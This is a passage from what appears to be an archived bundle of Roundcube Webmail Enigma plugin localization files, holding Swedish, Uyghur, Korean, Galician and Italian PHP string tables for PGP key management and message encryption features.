$labels['unknown'] = 'okänd';
$labels['uservalid'] = 'Giltig';
$labels['userid'] = 'ID';
$labels['valid'] = 'giltig';
$labels['supportencryption'] = 'Aktivera kryptering och signering av meddelanden';
$labels['supportsignatures'] = 'Aktivera signaturverifiering i meddelanden';
$labels['supportdecryption'] = 'Aktivera dekryptering av meddelanden';
$labels['signdefault'] = 'Signera alla meddelanden';
$labels['encryptdefault'] = 'Kryptera alla meddelanden';
$labels['attachpubkeydefault'] = 'Bifoga alltid min offentliga nyckel';
$labels['passwordtime'] = 'Använd lösenord till privat nyckel under';
$labels['nminutes'] = '$m min';
$labels['wholesession'] = 'Hela sessionen';
$labels['createkeys'] = 'Nytt nyckelpar ';
$labels['importkeys'] = 'Importera nycklar';
$labels['exportkeys'] = 'Exportera nycklar';
$labels['keyactions'] = 'Hantera nycklar...';
$labels['keyremove'] = 'Ta bort';
$labels['keydisable'] = 'Inaktivera';
$labels['keyrevoke'] = 'Upphäv';
$labels['keysend'] = 'Skicka offentlig nyckel i meddelande';
$labels['keychpass'] = 'Ändra lösenord';
$labels['keyadd'] = 'Lägg till nyckel';
$labels['newkeyident'] = 'Identitet';
$labels['newkeypass'] = 'Lösenord';
$labels['newkeypassconfirm'] = 'Bekräfta lösenord';
$labels['newkeytype'] = 'Nyckeltyp';
$labels['rsa2048'] = 'RSA - 2048 bits';
$labels['rsa4096'] = 'RSA - 4096 bits';
$labels['ecckeypair'] = 'ECC (Elliptisk kurva)';
$labels['keygenerating'] = 'Skapar nycklar...';
$labels['encryptionoptions'] = 'Krypteringsalternativ...';
$labels['encryptmsg'] = 'Kryptera meddelandet';
$labels['signmsg'] = 'Signera meddelandet';
$labels['sendunencrypted'] = 'Skicka okrypterat';
$labels['enterkeypasstitle'] = 'Ange nyckelns lösenord';
$labels['enterkeypass'] = 'Lösenord behövs för att låsa upp den privata nyckeln ($keyid) för användare $user.';
$labels['attachpubkeymsg'] = 'Bifoga min offentliga nyckel';
$labels['keyexportprompt'] = 'Inkludera privata nycklar i den sparade nyckelfilen för OpenPGP?';
$labels['onlypubkeys'] = 'Exportera endast offentliga nycklar';
$labels['withprivkeys'] = 'Exportera privata nycklar';
$labels['findkey'] = 'Sök nyckel på en eller flera servrar';
$labels['keyimportlabel'] = 'Importera från fil';
$labels['keyimportsearchlabel'] = 'Sök nyckel på en eller flera servrar';
$labels['managekeys'] = 'Hantera PGP-nycklar';
$labels['identitymatchingprivkeys'] = 'Du har $nr passande privata PGP-nycklar lagrade i nyckelringen:';
$labels['identitynoprivkeys'] = 'Avsändaridentiteten har ännu ingen privat PGP-nyckel lagrad i nyckelringen.';
$labels['arialabelkeyexportoptions'] = 'Exportalternativ för nycklar';
$labels['arialabelkeysearchform'] = 'Sökformulär för nycklar';
$labels['arialabelkeyoptions'] = 'Alternativ för nycklar';
$messages['sigvalid'] = 'Signatur verifierad för $sender.';
$messages['sigvalidpartial'] = 'Signatur verifierad för $sender, men meddelandet var delvis osignerat.';
$messages['siginvalid'] = 'Ogiltig signatur från $sender.';
$messages['sigunverified'] = 'Overifierad signatur. Certifikatet är inte verifierat. Certifikat-ID: $keyid.';
$messages['signokey'] = 'Overifierad signatur. Offentlig nyckel otillgänglig. Nyckel-ID: $keyid.';
$messages['sigerror'] = 'Overifierad signatur. Internt fel.';
$messages['decryptok'] = 'Meddelandet är dekrypterat.';
$messages['decrypterror'] = 'Dekrypteringen misslyckades.';
$messages['decryptnokey'] = 'Dekrypteringen misslyckades. Privat nyckel otillgänglig. Nyckel-ID: $keyid.';
$messages['decryptnomdc'] = 'Dekryptering behövs inte. Meddelandet är inte skyddat.';
$messages['decryptbadpass'] = 'Dekrypteringen misslyckades. Fel lösenord.';
$messages['decryptnopass'] = 'Dekrypteringen misslyckades. Ange nyckelns lösenord.';
$messages['decryptpartial'] = 'Meddelandet är dekrypterat, men meddelandet var delvis okrypterat.';
$messages['signerror'] = 'Signeringen misslyckades.';
$messages['signnokey'] = 'Signeringen misslyckades. Privat nyckel otillgänglig.';
$messages['signbadpass'] = 'Signeringen misslyckades. Fel lösenord.';
$messages['signnopass'] = 'Signeringen misslyckades. Ange nyckelns lösenord.';
$messages['encrypterror'] = 'Krypteringen misslyckades.';
$messages['encryptnokey'] = 'Krypteringen misslyckades. Offentlig nyckel otillgänglig för $email.';
$messages['encryptnoprivkey'] = 'Krypteringen misslyckades. Offentlig nyckel kunde inte hittas.';
$messages['nokeysfound'] = 'Inga nycklar hittades.';
$messages['keynotfound'] = 'Nyckeln hittades inte!';
$messages['keyopenerror'] = 'Nyckelinformation kunde inte hämtas. Internt fel.';
$messages['keylisterror'] = 'Nycklar kunde inte listas. Internt fel.';
$messages['keysimportfailed'] = 'Nycklar kunde inte importeras. Internt fel.';
$messages['keysimportsuccess'] = 'Nycklar har importerats. Importerade: $new, oförändrade: $old.';
$messages['keyremoving'] = 'Tar bort nycklar...';
$messages['keyremoveconfirm'] = 'Vill du ta bort markerade nycklar?';
$messages['keyremovesuccess'] = 'Nycklar borttagna.';
$messages['keyremoveerror'] = 'Nycklarna kunde inte tas bort.';
$messages['keyimporttext'] = 'Privata och offentliga nycklar eller återkallande av signaturer kan importeras i formatet ASCII-Armor.';
$messages['keyimportsearchtext'] = 'Offentlig nyckel kan sökas genom att ange identifierare, användarnamn eller mailadress, för att sedan importeras direkt.';
$messages['keystoragenotice'] = 'Samtliga offentliga och privata nycklar lagras på servern.';
$messages['formerror'] = 'Fyll i formulärets samtliga fält.';
$messages['passwordsdiffer'] = 'Bekräftelsen av lösenordet stämmer inte.';
$messages['keygenerateerror'] = 'Nyckelpar kunde inte skapas';
$messages['keygeneratesuccess'] = 'Nyckelpar skapat och importerat.';
$messages['keygennosupport'] = 'Webbläsaren saknar krypteringsfunktion. Nyckelpar kunde inte skapas.';
$messages['noidentselected'] = 'Minst en identitet till nyckeln måste väljas!';
$messages['nonameident'] = 'Användarnamn måste anges.';
$labels['newkeysize'] = 'Nyckelstorlek';
$labels['key2048'] = '2048 bitar - standard';
$labels['key4096'] = '4096 bitar - säkrare';
PKh�\��,�,"plugins/enigma/localization/ug.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'شىفىرلاش';
$labels['enigmacerts'] = 'S/MIME ئىجازەتنامىسى';
$labels['enigmakeys'] = 'PGP ئاچقۇچلىرى';
$labels['keysfromto'] = 'from$دىن to$غا count$ ئاچقۇچلار';
$labels['keyname'] = 'ئىسمى';
$labels['keyid'] = 'ئاچقۇچ نۇمۇرى';
$labels['keyuserid'] = 'ئىشلەتكۈچى نۇمۇرى';
$labels['keytype'] = 'ئاچقۇچ تۈرى';
$labels['fingerprint'] = 'بارماق ئىزى';
$labels['subkeys'] = 'بالا-ئاچقۇچلار';
$labels['keyprops'] = 'ئاچقۇچ خاسلىقلىرى';
$labels['basicinfo'] = 'ئادەتتىكى ئۇچۇر';
$labels['userids'] = 'قۇشۇمچە ئىشلەتكۈچىلەر';
$labels['typepublickey'] = 'ئاممىۋىي ئاچقۇچ';
$labels['typekeypair'] = 'ئاچقۇچ جۈپى';
$labels['keyattfound'] = 'بۇ ئۇچۇرغا PGP ئاچقۇچ(لار)ى قىستۇرۇلغان.';
$labels['keyattimport'] = 'ئاچقۇچ(لار)نى كىرگۈزۈش';
$labels['typesign'] = 'ئىمزا قۇيۇش';
$labels['typeencrypt'] = 'شىفىرلەش';
$labels['typecert'] = 'ئىجازەت بېرىش';
$labels['typeauth'] = 'دەلىللەش';
$labels['subkeyid'] = 'نۇمۇر';
$labels['subkeyalgo'] = 'ئالگىرىزىم';
$labels['subkeycreated'] = 'قۇرۇلدى';
$labels['subkeyexpires'] = 'ۋاقتى ئۆتتى';
$labels['subkeyusage'] = 'ئىشلىتىش';
$labels['expiresnever'] = 'ھەرگىز';
$labels['unknown'] = 'ناتۇنۇش';
$labels['uservalid'] = 'ئىناۋەتلىك';
$labels['userid'] = 'نۇمۇر';
$labels['valid'] = 'ئىناۋەتلىك';
$labels['supportencryption'] = 'ئۇچۇر شىفىرلاشنى بار قىلىش ھەمدە ئىمزا قۇيۇش';
$labels['supportsignatures'] = 'ئۇچۇر ئىمزاسىنى تەكشۈرۈشنى بار قىلىش';
$labels['supportdecryption'] = 'ئۇچۇر شىفىرسىزلەشنى بار قىلىش';
$labels['signdefault'] = 'سۈكۈت ھالەتتە ھەممە ئۇچۇرغا ئىمزا قۇيۇش';
$labels['encryptdefault'] = 'سۈكۈت ھالەتتە ھەممە ئۇچۇرنى شىفىرلاش';
$labels['attachpubkeydefault'] = 'سۈكۈت ھالەتتە مېنىڭ ئاممىۋىي PGP ئاچقۇچۇمنى قىستۇرۇش';
$labels['passwordtime'] = 'شەخسىي ئاچقۇچ مەخپىي نۇمۇرۇمنى ساقلاپ قېلىش';
$labels['nminutes'] = 'm$ مىنۇت(لار)';
$labels['wholesession'] = 'بارلىق باسقۇچ';
$labels['createkeys'] = 'بىر يېڭى ئاچقۇچ جۈپى ياساش';
$labels['importkeys'] = 'ئاچقۇچ(لار)نى كىرگۈزۈش';
$labels['exportkeys'] = 'ئاچقۇچ(لار)نى چىقىرىش';
$labels['keyactions'] = 'ئاچقۇچ ھەركەتلىرى...';
$labels['keyremove'] = 'ئۆچۈرۈش';
$labels['keydisable'] = 'يوق-قىلىش';
$labels['keyrevoke'] = 'تارتىۋېلىش';
$labels['keysend'] = 'ئۇچۇردا ئاممىۋىي ئاچقۇچنى ئەۋەتىش';
$labels['keychpass'] = 'مەخپىي نۇمۇرنى ئۆزگەرتىش';
$labels['keyadd'] = 'ئاچقۇچ قېتىش';
$labels['newkeyident'] = 'كىملىك';
$labels['newkeypass'] = 'مەخپىي نۇمۇر';
$labels['newkeypassconfirm'] = 'مەخپىي نۇمۇرنى جەزىملەشتۈرۈش';
$labels['newkeytype'] = 'ئاچقۇچ تۈرى';
$labels['rsa2048'] = '2048 بىتلىق RSA';
$labels['rsa4096'] = '4096 بىتلىق RSA';
$labels['ecckeypair'] = 'ECC (ئىللىپتىك ياي)';
$labels['keygenerating'] = 'ئاچقۇچلارنى ياساۋاتىدۇ...';
$labels['encryptionoptions'] = 'شىفىرلاش تاللانمىلىرى...';
$labels['encryptmsg'] = 'بۇ ئۇچۇرنى شىفىرلاش';
$labels['signmsg'] = 'بۇ ئۇچۇرغا رەقەملىك ئىمزا قۇيۇش';
$labels['sendunencrypted'] = 'شىفىرسىز ئەۋەتىش';
$labels['enterkeypasstitle'] = 'ئاچقۇچ پارولىنى كىرگۈزۈش';
$labels['enterkeypass'] = 'بۇ ئىشلەتكۈچى ئۈچۈن مەخپىي ئاچقۇچ (keyid$)نى بوشىتىشقا پارول كېرەك بولىدۇ: user$.';
$labels['attachpubkeymsg'] = 'مېنىڭ ئاممىۋىي ئاچقۇچۇمنى قىستۇرۇش';
$labels['keyexportprompt'] = 'سىز مەخپىي ئاچقۇچلارنىڭ ساقلانغان OpenPGP ئاچقۇچ ھۆججىتىدە بۇلىشىنى خالامسىز؟';
$labels['onlypubkeys'] = 'پەقەتلا ئاممىۋىي ئاچقۇچلارنى چىقىرىش';
$labels['withprivkeys'] = 'مەخپىي ئاچقۇچلارنى چىقىرىش';
$labels['findkey'] = 'ئاچقۇچ مۇلازىمېتىر(لار)ىدىن ئىزدەش';
$labels['keyimportlabel'] = 'ھۆججەتتىن كىرگۈزۈش';
$labels['keyimportsearchlabel'] = 'ئاچقۇچ مۇلازىمېتىر(لار)ىدىن ئىزدەش';
$labels['managekeys'] = 'PGP ئاچقۇچلىرىنى باشقۇرۇش';
$labels['identitymatchingprivkeys'] = 'سىزنىڭ ئاچقۇچ زەنجىرىڭىزدە nr$ ماس كىلىدىغان PGP شەخسىي ئاچقۇچلىرىڭىز ساقلانغان:';
$labels['identitynoprivkeys'] = 'بۇ ئەۋەتكۈچىنىڭ كىملىكىدە تېخى سىزنىڭ ئاچقۇچ زەنجىرىڭىزدە ساقلانغان شەخسىيپ PGP ئاچقۇچى يوق.';
$labels['arialabelkeyexportoptions'] = 'ئاچقۇچ چىقىرىش تاللانمىلىرى';
$labels['arialabelkeysearchform'] = 'ئاچقۇچ ئىزدەش جەدىۋېلى';
$labels['arialabelkeyoptions'] = 'ئاچقۇچ تاللانمىلىرى';
$messages['sigvalid'] = 'sender$ نىڭ دەلىللەنگەن ئىمزاسى';
$messages['sigvalidpartial'] = 'sender$ نىڭ دەلىللەنگەن ئىمزاسى، مەزمۇننىڭ بىر قىسمى ئىمزالانمىغان';
$messages['siginvalid'] = 'sender$ نىڭ ئىناۋەتسىز ئىمزاسى بار';
$messages['sigunverified'] = 'دەلىللەنمىگەن ئىمزا. كىنىشكا دەلىللەنمىدى. كىنىشكا نۇمۇرى: keyid$';
$messages['signokey'] = 'دەلىللەنمىگەن ئىمزا. ئاممىۋىي ئاچقۇچ تېپىلمىدى. ئاچقۇچ نۇمۇرى: keyid$.';
$messages['sigerror'] = 'دەلىللەنمىگەن ئىمزا. ئىچكى خاتالىق.';
$messages['decryptok'] = 'ئۇچۇر شىفىرسىزلاندى.';
$messages['decrypterror'] = 'شىفىرسىزلاش مەغلۇپ بولدى.';
$messages['decryptnokey'] = 'شىفىرسىزلاش مەغلۇپ بولدى. شەخسىي ئاچقۇچ تېپىلمىدى. ئاچقۇچ نۇمۇرى: keyid$.';
$messages['decryptnomdc'] = 'شىفىرسىزلاش ئۆتكۈزۈلدى. ئۇچۇر توغرىلىقى قوغدالمىدى.';
$messages['decryptbadpass'] = 'شىفىرسىزلاش مەغلۇپ بولدى. ئىناۋەتسىز مەخپىي نۇمۇر.';
$messages['decryptnopass'] = 'شىفىرسىزلاش مەغلۇپ بولدى. ئاچقۇچ پارولى تەلەپ قىلىندى.';
$messages['decryptpartial'] = 'ئۇچۇر شىفىرسىزلەندى، لىكىن بىر قىسمى شىفىرلانمىغان.';
$messages['signerror'] = 'ئىمزا-قۇيۇش مەغلۇپ بولدى.';
$messages['signnokey'] = 'ئىمزا-قۇيۇش مەغلۇپ بولدى. شەخسىي ئاچقۇچ تېپىلمىدى.';
$messages['signbadpass'] = 'ئىمزا-قۇيۇش مەغلۇپ بولدى. ئىناۋەتسىز مەخپىي نۇمۇر.';
$messages['signnopass'] = 'ئىمزا-قۇيۇش مەغلۇپ بولدى. ئاچقۇچ پارولى تەلەپ قىلىندى.';
$messages['encrypterror'] = 'شىفىرلاش مەغلۇپ بولدى.';
$messages['encryptnokey'] = 'شىفىرلاش مەغلۇپ بولدى. ئاممىۋىي ئاچقۇچ email$ ئۈچۈن تېپىلمىدى.';
$messages['encryptnoprivkey'] = 'شىفىرلاش مەغلۇپ بولدى. شەخسىي ئاچقۇچ تېپىلمىدى.';
$messages['nokeysfound'] = 'ھېچقانداق ئاچقۇچ تېپىلمىدى';
$messages['keynotfound'] = 'ئاچقۇچ تېپىلمىدى!';
$messages['keyopenerror'] = 'ئاچقۇچ ئۇچۇرىغا ئېرىشكىلى بولمىدى! ئىچكىي خاتالىق.';
$messages['keylisterror'] = 'ئاچقۇچلارنى تىزغىلى بولمىدى! ئىچكىي خاتالىق.';
$messages['keysimportfailed'] = 'ئاچقۇچ(لار)نى كىرگۈزگىلى بولمىدى! ئىچكىي خاتالىق.';
$messages['keysimportsuccess'] = 'ئاچقۇچ(لار) مۇۋاپىقىيەتلىك كىرگۈزۈلدى. كىرگۈزدى: new$، ئۆزگەرمىدى: old$.';
$messages['keyremoving'] = 'ئاچقۇچ(لار)نى ئۆچۈرىۋاتىدۇ...';
$messages['keyremoveconfirm'] = 'تاللانغان ئاچقۇچ(لار)نى ئۆچۈرۈشنى جەزىملەشتۈرەمسىز؟';
$messages['keyremovesuccess'] = 'ئاچقۇچ(لار) مۇۋاپىقىيەتلىك ئۆچۈرۈلدى';
$messages['keyremoveerror'] = 'ئاچقۇچ(لار)نى ئۆچۈرۈشكە بولمىدى.';
$messages['keyimporttext'] = 'سىز شەخسىي ھەمدە ئاممىۋىي ئاچقۇچ(لار)نى ياكى ASCII-Armor تىپىدىكى تارتىۋېلىش ئىمزالىرىنى كىرگۈزەلەيسىز.';
$messages['keyimportsearchtext'] = 'سىز ئاممىۋىي ئاچقۇچلارنى ئاچقۇچ بەلگىسى، ئىشلەتكۈچى ئىسمى، ئېلىخەت ئادىرسى بىلەن ئىزدىيەلەيسىز ھەمدە ئۇلارنى بىۋاستە كىرگۈزەلەيسىز.';
$messages['keystoragenotice'] = 'بارلىق ئاممىۋىي ھەمدە شەخسىي ئاچقۇچلار بۇ مۇلازىمېتىردا ساقلىندۇ.';
$messages['formerror'] = 'بۇ جەدىۋەلنى تولدۇرۇڭ. ھەممە كاتەكچىلەر مەجبۇرىي!';
$messages['passwordsdiffer'] = 'مەخپىي نۇمۇرلار ماس كەلمىدى!';
$messages['keygenerateerror'] = 'ئاچقۇچ جۈپىنى ياسىغىلى بولمىدى';
$messages['keygeneratesuccess'] = 'ئاچقۇچ جۈپى مۇۋاپىقىيەتلىك ياسالدى ھەمدە كىرگۈزۈلدى.';
$messages['keygennosupport'] = 'سىزنىڭ تور كۆرگۈچىڭىز شىفىرلاشنى قوللىمايدۇ. ئاچقۇچ جۈپىنى ياسىغىلى بولمىدى!';
$messages['noidentselected'] = 'سىز بۇ ئاچقۇچقا ئەڭ ئاز دىگەندە بىر كىملىكنى تاللىشىڭىز كېرەك!';
$messages['nonameident'] = 'كىملىكتە چۇقۇم بىر ئىشلەتكۈچى ئىسمى بەلگىلەنگەن بۇلىشى كېرەك!';
$labels['newkeysize'] = 'ئاچقۇچ چوڭلۇقى';
$labels['key2048'] = 'سۈكۈت - 2048 بىت';
$labels['key4096'] = 'بەكرەك بىخەتەر - 4096 بىت';
PKh�\m-��� � %plugins/enigma/localization/ko_KR.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = '암호화';
$labels['enigmacerts'] = 'S/MIME 인증서';
$labels['enigmakeys'] = 'PGP 키';
$labels['keysfromto'] = '키 총 $count개 중 $from 번째 부터 $to 번째까지';
$labels['keyname'] = '이름';
$labels['keyid'] = '키 ID';
$labels['keyuserid'] = '사용자 ID';
$labels['keytype'] = '키 유형';
$labels['fingerprint'] = '지문';
$labels['subkeys'] = '하위 키';
$labels['keyprops'] = '키 속성';
$labels['basicinfo'] = '기본 정보';
$labels['userids'] = '추가 사용자';
$labels['typepublickey'] = '공개 키';
$labels['typekeypair'] = '키 페어';
$labels['keyattfound'] = '이 메시지는 첨부된 PGP 키를 포함합니다.';
$labels['keyattimport'] = '키 가져오기';
$labels['typesign'] = '서명';
$labels['typeencrypt'] = '암호화';
$labels['typecert'] = '인증';
$labels['typeauth'] = '인증';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = '알고리즘';
$labels['subkeycreated'] = '생성일';
$labels['subkeyexpires'] = '만료일';
$labels['subkeyusage'] = '사용도';
$labels['expiresnever'] = '하지 않음';
$labels['unknown'] = '알 수 없음';
$labels['uservalid'] = '유효';
$labels['userid'] = 'ID';
$labels['valid'] = '유효';
$labels['supportencryption'] = '메시지 암호화 및 서명 추가 활성화';
$labels['supportsignatures'] = '메시지 서명 검증 활성화';
$labels['supportdecryption'] = '메시지 복호화 활성화';
$labels['signdefault'] = '기본적으로 모든 메시지에 서명 추가';
$labels['encryptdefault'] = '기본적으로 모든 메시지 암호화';
$labels['attachpubkeydefault'] = '내 공개 PGP 키를 기본으로 첨부';
$labels['passwordtime'] = '비공개 키 암호를 다음 기간동안 유지';
$labels['nminutes'] = '$m분';
$labels['wholesession'] = '전체 세션';
$labels['createkeys'] = '새로운 키 페어 생성';
$labels['importkeys'] = '키 가져오기';
$labels['exportkeys'] = '키 내보내기';
$labels['keyactions'] = '키 동작...';
$labels['keyremove'] = '제거';
$labels['keydisable'] = '비활성화';
$labels['keyrevoke'] = '폐기';
$labels['keysend'] = '메시지에 공개 키 전송';
$labels['keychpass'] = '암호 변경';
$labels['keyadd'] = '키 추가';
$labels['newkeyident'] = '신원';
$labels['newkeypass'] = '암호';
$labels['newkeypassconfirm'] = '암호 확인';
$labels['newkeytype'] = '키 유형';
$labels['rsa2048'] = 'RSA - 2048 비트';
$labels['rsa4096'] = 'RSA - 4096 비트';
$labels['ecckeypair'] = 'ECC (타원 곡선)';
$labels['keygenerating'] = '키를 생성하는 중...';
$labels['encryptionoptions'] = '암호화 옵션...';
$labels['encryptmsg'] = '이 메시지를 암호화';
$labels['signmsg'] = '이 메시지에 디지털 서명 추가';
$labels['sendunencrypted'] = '암호화하지 않은 채로 전송';
$labels['enterkeypasstitle'] = '키 암호문 입력';
$labels['enterkeypass'] = '다음 사용자에 대한 비밀 키($keyid)의 잠금을 해제하려면 암호문이 필요합니다: $user.';
$labels['attachpubkeymsg'] = '내 공개 키 첨부';
$labels['keyexportprompt'] = '암호 키를 저장된 OpenPGP 키 파일에 포함하시겠습니까?';
$labels['onlypubkeys'] = '공개 키만 내보내기';
$labels['withprivkeys'] = '비밀 키 내보내기';
$labels['findkey'] = '키 서버에서 검색';
$labels['keyimportlabel'] = '파일에서 가져오기';
$labels['keyimportsearchlabel'] = '키 서버에서 검색';
$labels['managekeys'] = 'PGP 키 관리';
$labels['identitymatchingprivkeys'] = '열쇠고리에 저장된 PGP 개인 키 중 $nr개 일치하는 키가 있습니다:';
$labels['identitynoprivkeys'] = '현재 보내는 사람 신원에는 열쇠고리에 저장된 PGP 개인 키가 없습니다.';
$labels['arialabelkeyexportoptions'] = '키 내보내기 옵션';
$labels['arialabelkeysearchform'] = '키 검색 상자';
$labels['arialabelkeyoptions'] = '키 옵션';
$messages['sigvalid'] = '$sender이(가) 보낸 검증된 서명.';
$messages['sigvalidpartial'] = '$sender의 검증된 서명이긴 하나, 본문 일부가 서명되지 않았습니다.';
$messages['siginvalid'] = '$sender이(가) 보낸 검증되지 않은 서명.';
$messages['sigunverified'] = '검증되지 않은 서명. 인증서가 검증되지 않음. 인증서 ID: $keyid.';
$messages['signokey'] = '검증되지 않은 서명. 공개 키를 찾을 수 없습니다. 키 ID: $keyid.';
$messages['sigerror'] = '검증되지 않은 서명. 내부 오류.';
$messages['decryptok'] = '메시지가 복호화됨.';
$messages['decrypterror'] = '복호화에 실패함.';
$messages['decryptnokey'] = '복호화에 실패함. 비공개 키를 찾을 수 없음. 키 ID: $keyid.';
$messages['decryptnomdc'] = '복호화를 건너뛰었습니다. 메시지 무결성이 보호되지 않습니다.';
$messages['decryptbadpass'] = '복호화에 실패함. 잘못된 암호.';
$messages['decryptnopass'] = '복호화에 실패함. 키 암호가 필요합니다.';
$messages['decryptpartial'] = '메시지가 복호화됐지만 본문 일부가 암호화 되지 않았습니다.';
$messages['signerror'] = '서명 추가에 실패함.';
$messages['signnokey'] = '서명 추가에 실패함. 비공개 키를 찾을 수 없음.';
$messages['signbadpass'] = '서명에 실패함. 잘못된 암호.';
$messages['signnopass'] = '서명 추가에 실패함. 키 암호가 필요합니다.';
$messages['encrypterror'] = '암호화에 실패함.';
$messages['encryptnokey'] = '암호화에 실패함. $email에 대한 공개 키를 찾을 수 없음.';
$messages['encryptnoprivkey'] = '암호화에 실패했습니다. 비공개 키를 찾을 수 없습니다.';
$messages['nokeysfound'] = '키를 찾을 수 없음';
$messages['keynotfound'] = '키를 발견하지 못함!';
$messages['keyopenerror'] = '키 정보를 얻을 수 없음! 내부 오류.';
$messages['keylisterror'] = '키 목록을 표시할 수 없음! 내부 오류.';
$messages['keysimportfailed'] = '키를 가져올 수 없음! 내부 오류.';
$messages['keysimportsuccess'] = '키를 성공적으로 가져옴. 가져옴: $new개, 변경되지 않음: $old개.';
$messages['keyremoving'] = '키를 제거하는 중...';
$messages['keyremoveconfirm'] = '정말로 선택한 키를 삭제하시겠습니까?';
$messages['keyremovesuccess'] = '키가 성공적으로 삭제되었습니다';
$messages['keyremoveerror'] = '선택한 키를 삭제하지 못함.';
$messages['keyimporttext'] = '비공개 및 공개 키 또는 폐기 서명을 ASCII-Armor 형식으로 가져올 수 있습니다.';
$messages['keyimportsearchtext'] = '키 식별자, 사용자명 또는 이메일 주소로 공개 키를 검색하신 후에, 직접 가져오실 수 있습니다.';
$messages['keystoragenotice'] = '모든 공개 및 비밀 키는 서버에 저장됩니다.';
$messages['formerror'] = '양식을 작성해주세요. 모든 필드가 채워져야 합니다!';
$messages['passwordsdiffer'] = '암호가 일치하지 않음!';
$messages['keygenerateerror'] = '키 페어 생성을 실패함';
$messages['keygeneratesuccess'] = '키 페어가 성공적으로 생성되었고 가져왔습니다.';
$messages['keygennosupport'] = '웹 브라우저가 암호화를 지원하지 않습니다. 키 페어를 생성하지 못함!';
$messages['noidentselected'] = '적어도 키에 대한 하나 이상의 신원을 선택하셔야 합니다!';
$messages['nonameident'] = '신원에는 사용자명이 정의되어야 합니다!';
$labels['newkeysize'] = '키 크기';
$labels['key2048'] = '2048 비트 - 기본';
$labels['key4096'] = '4096 비트 - 보안 강화';
PKh�\������%plugins/enigma/localization/gl_ES.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['keyname'] = 'Nome';
$labels['subkeycreated'] = 'Creado';
$labels['expiresnever'] = 'nunca';
$labels['unknown'] = 'descoñecido';
$labels['keychpass'] = 'Cambiar contrasinal';
$labels['newkeypass'] = 'Contrasinal';
PKh�\�~'�( ( %plugins/enigma/localization/it_IT.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Criptare';
$labels['enigmacerts'] = 'Certificati S/MIME';
$labels['enigmakeys'] = 'Chiavi PGP';
$labels['keysfromto'] = 'Chiavi da $from a $to di $count';
$labels['keyname'] = 'Nome';
$labels['keyid'] = 'ID della chiave';
$labels['keyuserid'] = 'ID utente';
$labels['keytype'] = 'Tipo chiave';
$labels['fingerprint'] = 'Fingerprint';
$labels['subkeys'] = 'Sottochiavi';
$labels['keyprops'] = 'Proprietà chiave';
$labels['basicinfo'] = 'Informazioni base';
$labels['userids'] = 'Utenti aggiuntivi';
$labels['typepublickey'] = 'chiave pubblica';
$labels['typekeypair'] = 'coppia di chiavi';
$labels['keyattfound'] = 'Questo messaggio contiene chiavi PGP in allegato.';
$labels['keyattimport'] = 'Importa chiave(i)';
$labels['typesign'] = 'Firma';
$labels['typeencrypt'] = 'Cifra';
$labels['typecert'] = 'Certifica';
$labels['typeauth'] = 'Autenticazione';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algoritmo';
$labels['subkeycreated'] = 'Creazione';
$labels['subkeyexpires'] = 'Scadenza';
$labels['subkeyusage'] = 'Utilizzo';
$labels['expiresnever'] = 'mai';
$labels['unknown'] = 'sconosciuto';
$labels['uservalid'] = 'Valido';
$labels['userid'] = 'ID';
$labels['valid'] = 'valido';
$labels['supportencryption'] = 'Abilita cifratura firma del messaggio';
$labels['supportsignatures'] = 'Abilita la verifica delle firme dei messaggi';
$labels['supportdecryption'] = 'Abilita la decifrazione del messaggio';
$labels['signdefault'] = 'Firma tutti i messaggi in modo predefinito';
$labels['encryptdefault'] = 'Cifra tutti i messaggi in modo predefinito';
$labels['attachpubkeydefault'] = 'Allega la mia chiave pubblica PGP in modo predefinito';
$labels['passwordtime'] = 'Mantiene le password delle chiavi private per ';
$labels['nminutes'] = '$m minuti';
$labels['wholesession'] = 'l\'intera sessione';
$labels['createkeys'] = 'Crea una nuova coppia di chiavi';
$labels['importkeys'] = 'Importa chiave(i)';
$labels['exportkeys'] = 'Esporta chiave(i)';
$labels['keyactions'] = 'Azione chiave...';
$labels['keyremove'] = 'Rimuovi';
$labels['keydisable'] = 'Disabilita';
$labels['keyrevoke'] = 'Revoca';
$labels['keysend'] = 'Invia una chiave pubblica in un messaggio';
$labels['keychpass'] = 'Cambia password';
$labels['keyadd'] = 'Aggiungi chiave';
$labels['newkeyident'] = 'Identità';
$labels['newkeypass'] = 'Password';
$labels['newkeypassconfirm'] = 'Conferma password';
$labels['newkeytype'] = 'Tipo chiave';
$labels['rsa2048'] = 'RSA - 2048 bits';
$labels['rsa4096'] = 'RSA - 4096 bits';
$labels['ecckeypair'] = 'ECC (Elliptic Curve)';
$labels['keygenerating'] = 'Generazione chiavi...';
$labels['encryptionoptions'] = 'Opzioni di cifratura...';
$labels['encryptmsg'] = 'Cifra questo messaggio';
